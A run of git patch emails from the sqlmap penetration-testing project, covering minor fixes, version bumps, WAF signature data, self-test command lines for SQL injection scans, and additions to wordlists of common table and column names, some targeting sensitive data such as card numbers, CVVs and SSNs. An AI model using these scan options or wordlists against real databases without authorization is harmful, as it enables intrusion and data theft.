self.bind("<>", self._on_tab_changed) - def _on_tab_changed(self,event): + def _on_tab_changed(self, event): event.widget.update_idletasks() tab = event.widget.nametowidget(event.widget.select()) @@ -76,7 +76,7 @@ def _on_tab_changed(self,event): # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook style = _tkinter_ttk.Style() - settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e" }, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} + settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}} style.theme_create("custom", parent="alt", settings=settings) style.theme_use("custom") @@ -189,7 +189,7 @@ def enqueue(stream, queue): while alive: line = "" try: - #line = queue.get_nowait() + # line = queue.get_nowait() line = queue.get(timeout=.1) text.insert(_tkinter.END, line) except _queue.Empty: diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 0fe0836d6ea..2282d9448d0 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -27,7 +27,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): import pydot except ImportError as ex: errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex) - errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')" + errMsg += "(Hint: 'sudo apt install python-pydot python-pyparsing python-profiler graphviz')" logger.error(errMsg) return @@ -84,7 +84,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): pydotGraph.write_png(imageOutputFile) except OSError: errMsg = "profiling requires graphviz installed " - errMsg += "(Hint: 'sudo apt-get install graphviz')" + errMsg += "(Hint: 'sudo apt install graphviz')" logger.error(errMsg) else: infoMsg = "displaying interactive graph with xdot library" diff --git a/lib/core/update.py b/lib/core/update.py index 9cd588263d1..4314575ff09 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -136,6 +136,6 @@ def update(): infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" else: infoMsg = "for Linux platform it's recommended " - infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" + infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt install git')" logger.info(infoMsg) diff --git a/lib/utils/api.py b/lib/utils/api.py index 84d2327e122..468c09c03a4 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -705,7 +705,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys()))) else: errMsg = "Server support for adapter '%s' is not installed on this system " % adapter - errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter) + errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip install %s')" % (adapter, adapter) logger.critical(errMsg) def _client(url, options=None): diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 4b75a0b5d9b..b1589dafe6a 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -163,7 +163,7 @@ def tableExistsThread(): if not threadData.shared.files: warnMsg = "no table(s) found" if conf.db: - warnMsg += " for database '%s'" % conf.db + warnMsg += " for database '%s'" % conf.db logger.warn(warnMsg) else: for item in threadData.shared.files: diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py index 86bcdd87742..4647f1f7c11 100644 --- a/thirdparty/keepalive/keepalive.py +++ b/thirdparty/keepalive/keepalive.py @@ -107,9 +107,11 @@ try: from thirdparty.six.moves import http_client as _http_client + from thirdparty.six.moves import range as _range from thirdparty.six.moves import urllib as _urllib except ImportError: from six.moves import http_client as _http_client + from six.moves import range as _range from six.moves import urllib as _urllib import socket @@ -569,7 +571,7 @@ def fetch(N, url, delay=0): import time lens = [] starttime = time.time() - for i in range(N): + for i in _range(N): if delay and i > 0: time.sleep(delay) fo = _urllib.request.urlopen(url) foo = fo.read() From 251c8ba064a2289317b559bf6f021be80611ae09 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 10 Dec 2019 13:54:29 +0100 Subject: [PATCH 780/800] Minor update --- lib/core/testing.py | 4 ++-- lib/parse/cmdline.py | 2 ++ 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/testing.py b/lib/core/testing.py index 200be1bd94f..788935d578f 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -69,14 +69,14 @@ def vulnTest(): (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")), - ("-l --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell")), + ("-l --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")), + ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 85aef465043..f69ca58ea53 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -942,6 +942,8 @@ def _format_action_invocation(self, action): elif argv[i] == "-H": if i + 1 < len(argv): extraHeaders.append(argv[i + 1]) + elif argv[i] == "--deps": + argv[i] = "--dependencies" elif argv[i] == "-r": for j in xrange(i + 2, len(argv)): value = argv[j] From 9866e478b912a5f64d1f2c969cf2cee23538cdce Mon Sep 17 00:00:00 2001 From: "Gabriel M. Dutra" Date: Tue, 10 Dec 2019 11:26:57 -0300 Subject: [PATCH 781/800] Change vocabulary for better understanding. (#4034) --- doc/translations/README-pt-BR.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 1887772fe2e..71f755d1d95 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -2,7 +2,7 @@ [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. +sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. Imagens ---- From a5ed4c52552826ac33bf89e483fba3d66d47fdca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Dec 2019 11:42:03 +0100 Subject: [PATCH 782/800] Minor update --- data/txt/common-tables.txt | 64 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 95d234b330c..8c1c8953f8b 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -3416,3 +3416,67 @@ usertbl # WebGoat user_data + +# https://laurent22.github.io/so-injections/ + +accounts +admin +baza_site +benutzer +category +comments +company +credentials +Customer +customers +data +details +dhruv_users +dt_tb +employees +events +forsale +friends +giorni +images +info +items +kontabankowe +login +logs +markers +members +messages +orders +order_table +photos +player +players +points +register +reports +rooms +shells +signup +songs +student +students +table +table2 +tbl_images +tblproduct +testv2 +tickets +topicinfo +trabajo +user +user_auth +userinfo +user_info +userregister +users +usuarios +utenti +wm_products +wp_payout_history +zamowienia From f01610b39739d045d9fc78860b0e119b7e01e84b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Dec 2019 11:51:26 +0100 Subject: [PATCH 783/800] Minor update --- data/txt/common-columns.txt | 33 +++++++++++++++++++++++++++++++++ data/txt/common-tables.txt | 16 ++++++++++++++++ 2 files changed, 49 insertions(+) diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index abcfb489b82..9b310bfa8b2 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -474,6 +474,7 @@ module_addr flag # spanish + usuario nombre contrasena @@ -486,6 +487,7 @@ tono cuna # german + benutzername benutzer passwort @@ -499,6 +501,7 @@ stichwort schlusselwort # french + utilisateur usager consommateur @@ -510,6 +513,7 @@ touche clef # italian + utente nome utilizzatore @@ -521,17 +525,20 @@ chiavetta cifrario # portuguese + usufrutuario chave cavilha # slavic + korisnik sifra lozinka kljuc # turkish + numara sira lokasyon @@ -605,6 +612,7 @@ kontak kontaklar # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) + user pass cc_number @@ -828,6 +836,7 @@ xar_name xar_pass # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html + account accnts accnt @@ -897,6 +906,7 @@ user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) + fld_id fld_username fld_password @@ -1049,6 +1059,7 @@ yhmm yonghu # site:br + content_id codigo geometry @@ -1305,6 +1316,7 @@ newssummaryauthor and_xevento # site:de + rolle_nr standort_nr ja @@ -1467,6 +1479,7 @@ summary_id gameid # site:es + catid dni prune_id @@ -1556,6 +1569,7 @@ time_stamp bannerid # site:fr + numero id_auteur titre @@ -1607,6 +1621,7 @@ n_dir age # site:ru + dt_id subdivision_id sub_class_id @@ -1812,6 +1827,7 @@ language_id val # site:jp + dealer_id modify_date regist_date @@ -1943,6 +1959,7 @@ c_commu_topic_id c_diary_comment_log_id # site:it + idcomune idruolo idtrattamento @@ -2446,6 +2463,7 @@ client_img does_repeat # site:cn + typeid cronid advid @@ -2621,6 +2639,7 @@ disablepostctrl fieldname # site:id + ajar akses aktif @@ -2672,9 +2691,23 @@ urut waktu # WebGoat + cookie login_count +# https://sqlwiki.netspi.com/attackQueries/dataTargeting/ + +credit +card +pin +cvv +pan +password +social +ssn +account +confidential + # Misc u_pass diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 8c1c8953f8b..12c210c29b0 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1618,6 +1618,7 @@ Contributor flag # Various Joomla tables + jos_vm_product_download jos_vm_coupons jos_vm_product_reviews @@ -1711,6 +1712,7 @@ publicusers cmsusers # List provided by Anastasios Monachos (anastasiosm@gmail.com) + blacklist cost moves @@ -1762,6 +1764,7 @@ TBLCORPUSERS TBLCORPORATEUSERS # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) + tbladmins sort _wfspro_admin @@ -2048,6 +2051,7 @@ Login Logins # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html + account accnts accnt @@ -2117,6 +2121,7 @@ user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) + wsop Admin Config @@ -2437,9 +2442,11 @@ Affichage1name sb_host_adminAffichage1name # site:jp + TypesTab # site:it + utenti categorie attivita @@ -2581,6 +2588,7 @@ oil_stats_agents SGA_XPLAN_TPL_DBA_INDEXES # site:fr + Avion departement Compagnie @@ -2751,6 +2759,7 @@ spip_ortho_dico spip_caches # site:ru + guestbook binn_forum_settings binn_forms_templ @@ -2848,6 +2857,7 @@ binn_path_temps order_item # site:de + tt_content kunde medien @@ -3010,6 +3020,7 @@ wp_categories chessmessages # site:br + endereco pessoa usuarios @@ -3172,6 +3183,7 @@ LT_CUSTOM2 LT_CUSTOM3 # site:es + jos_respuestas DEPARTAMENTO EMPLEADO @@ -3210,6 +3222,7 @@ grupo facturas # site:cn + url cdb_adminactions BlockInfo @@ -3355,6 +3368,7 @@ mymps_mail_sendlist mymps_navurl # site:tr + kullanici kullanicilar yonetici @@ -3401,6 +3415,7 @@ kontak kontaklar # List provided by Pedrito Perez (0ark1ang3l@gmail.com) + adminstbl admintbl affiliateUsers @@ -3415,6 +3430,7 @@ userstbl usertbl # WebGoat + user_data # https://laurent22.github.io/so-injections/ From 6e06df3d39fc6c0b1d768aec0ade605f9fbabe84 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 12 Dec 2019 14:10:02 +0100 Subject: [PATCH 784/800] Minor bug fix --- plugins/generic/databases.py | 2 +- plugins/generic/syntax.py | 17 ++++++++++------- 2 files changed, 11 insertions(+), 8 deletions(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 7f80357b54f..0f04f401550 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -901,7 +901,7 @@ def getSchema(self): self.getTables() infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) + infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 5a5b1e0e177..bb0bee7376d 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -28,13 +28,16 @@ def _escape(expression, quote=True, escaper=None): if quote: for item in re.findall(r"'[^']*'+", expression): original = item[1:-1] - if original and re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker - replacement = escaper(original) if not conf.noEscape else original - - if replacement != original: - retVal = retVal.replace(item, replacement) - elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): - retVal = retVal.replace("'%s'" % original, "n'%s'" % original) + if original: + if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: + continue + if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker + replacement = escaper(original) if not conf.noEscape else original + + if replacement != original: + retVal = retVal.replace(item, replacement) + elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): + retVal = retVal.replace("'%s'" % original, "n'%s'" % original) else: retVal = escaper(expression) From 3145de15d8f54c0991c7f070cd6a034ad3356d28 Mon Sep 17 00:00:00 2001 From: tanaydin sirin Date: Fri, 13 Dec 2019 17:29:12 +0100 Subject: [PATCH 785/800] Update common-columns.txt (#4039) Some more common Turkish column names. --- data/txt/common-columns.txt | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index 9b310bfa8b2..16f7e8c7c36 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -539,6 +539,19 @@ kljuc # turkish +isim +ad +adi +soyisim +soyad +soyadi +kimlik +kimlikno +tckimlikno +tckimlik +yonetici +sil +silinmis numara sira lokasyon @@ -554,7 +567,9 @@ ev_adres is_adresi ev_adresi isadresi +isadres evadresi +evadres il ilce eposta From 24aadbd850ff6d4a1754ce924124d33a593efa0c Mon Sep 17 00:00:00 2001 From: Ryan Young Date: Sun, 15 Dec 2019 08:06:26 -0700 Subject: [PATCH 786/800] Support IPv6 literals ("[::1]:8080") in the proxy switch. (#4041) --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 7e6cac63dbd..24eb466e3a5 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -995,7 +995,7 @@ def _setHTTPHandlers(): errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) - hostnamePort = _.netloc.split(":") + hostnamePort = _.netloc.rsplit(":", 1) scheme = _.scheme.upper() hostname = hostnamePort[0] From 7dae324ed6ca4b7a49c4f6d3a9d0c83925a87614 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 15 Dec 2019 16:33:03 +0100 Subject: [PATCH 787/800] Trivial update --- lib/request/connect.py | 4 ++-- thirdparty/identywaf/data.json | 6 ++++++ thirdparty/identywaf/identYwaf.py | 2 +- 3 files changed, 9 insertions(+), 3 deletions(-) mode change 100644 => 100755 thirdparty/identywaf/data.json diff --git a/lib/request/connect.py b/lib/request/connect.py index f8bed48a6b4..26ab5526b9f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1054,11 +1054,11 @@ def _adjustParameter(paramString, parameter, newValue): match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I) if match: - retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) + retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) else: match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I) if match: - retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) + retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) return retVal diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json old mode 100644 new mode 100755 index de90fdbbec4..c6ab44ca54e --- a/thirdparty/identywaf/data.json +++ b/thirdparty/identywaf/data.json @@ -431,6 +431,12 @@ "e34c:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1qQJLX2uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC" ] }, + "kuipernet": { + "company": "ASTSoft", + "name": "Kuipernet", + "regex": "(?s)Content-Length: 118214.+W5M0MpCehiHzreSzNTczkc9d", + "signatures": [] + }, "malcare": { "company": "Inactiv", "name": "MalCare", diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py index 80f0d71ce65..2209352f323 100755 --- a/thirdparty/identywaf/identYwaf.py +++ b/thirdparty/identywaf/identYwaf.py @@ -60,7 +60,7 @@ HTTPCookieProcessor = urllib2.HTTPCookieProcessor NAME = "identYwaf" -VERSION = "1.0.122" +VERSION = "1.0.124" BANNER = r""" ` __ __ ` ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ From d38acbe34726564eed580a66b48a754ce338a32d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 18 Dec 2019 10:19:03 +0100 Subject: [PATCH 788/800] Fixing lost versioning --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 79d38ad4aa9..85d372a5b27 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.1" +VERSION = "1.3.12.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d52d5f0ddc1f7cdef5aa51f7c54fc91218f1727e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 18 Dec 2019 11:04:01 +0100 Subject: [PATCH 789/800] Fixes #4046 --- lib/core/settings.py | 2 +- lib/request/redirecthandler.py | 16 +++++++++++++++- 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 85d372a5b27..b48ba9fc51a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.24" +VERSION = "1.3.12.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index b7466510821..13c3fb4a138 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -10,6 +10,7 @@ import types from lib.core.common import getHostHeader +from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import readInput from lib.core.convert import getUnicode @@ -139,6 +140,14 @@ def http_error_302(self, req, fp, code, msg, headers): except _urllib.error.HTTPError as ex: result = ex + # Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046 + try: + hasattr(result, "read") + except KeyError: + class _(object): + pass + result = _() + # Dirty hack for http://bugs.python.org/issue15701 try: result.info() @@ -149,7 +158,12 @@ def _(self): if not hasattr(result, "read"): def _(self, length=None): - return ex.msg + try: + retVal = getSafeExString(ex) + except: + retVal = "" + finally: + return retVal result.read = types.MethodType(_, result) if not getattr(result, "url", None): From b4f9bf3f21579af276fe32efb44bfd34ded16b96 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 18 Dec 2019 11:30:13 +0100 Subject: [PATCH 790/800] I don't know how this went through --- lib/core/settings.py | 2 +- sqlmapapi.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b48ba9fc51a..d6aa96891f2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.25" +VERSION = "1.3.12.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmapapi.py b/sqlmapapi.py index 9c903b81dd1..9af5ab71660 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -53,8 +53,8 @@ def main(): # Parse command line options apiparser = optparse.OptionParser() - apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true") - apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true") + apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", action="store_true") + apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", action="store_true") apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store") apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store") apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store") From c96283a083c32e3fa55b1e33d1861665d41e94a7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 18 Dec 2019 12:29:07 +0100 Subject: [PATCH 791/800] Minor patch --- lib/core/settings.py | 2 +- thirdparty/bottle/bottle.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d6aa96891f2..0df23a4b16e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.26" +VERSION = "1.3.12.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index a937493ba8a..9e6219e4055 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -2630,7 +2630,7 @@ def debug(mode=True): """ Change the debug level. There is only one debug level supported at the moment.""" global DEBUG - if mode: warnings.simplefilter('default') + #if mode: warnings.simplefilter('default') # neutralizing already set warning filters (e.g. DeprecationWarning inside sqlmapapi.py) DEBUG = bool(mode) From 9ca5dc798e7550c66f4e587868ccdbf8a50b7673 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 19 Dec 2019 17:35:39 +0100 Subject: [PATCH 792/800] Fixes #4047 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 7f08066a55e..b6e77c6f3ad 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1643,7 +1643,7 @@ def parseTargetUrl(): if '=' not in urlSplit.query: conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query)) else: - conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query + conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3): debugMsg = "setting the HTTP Referer header to the target URL" diff --git a/lib/core/settings.py b/lib/core/settings.py index 0df23a4b16e..2c1c33d65b6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.27" +VERSION = "1.3.12.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 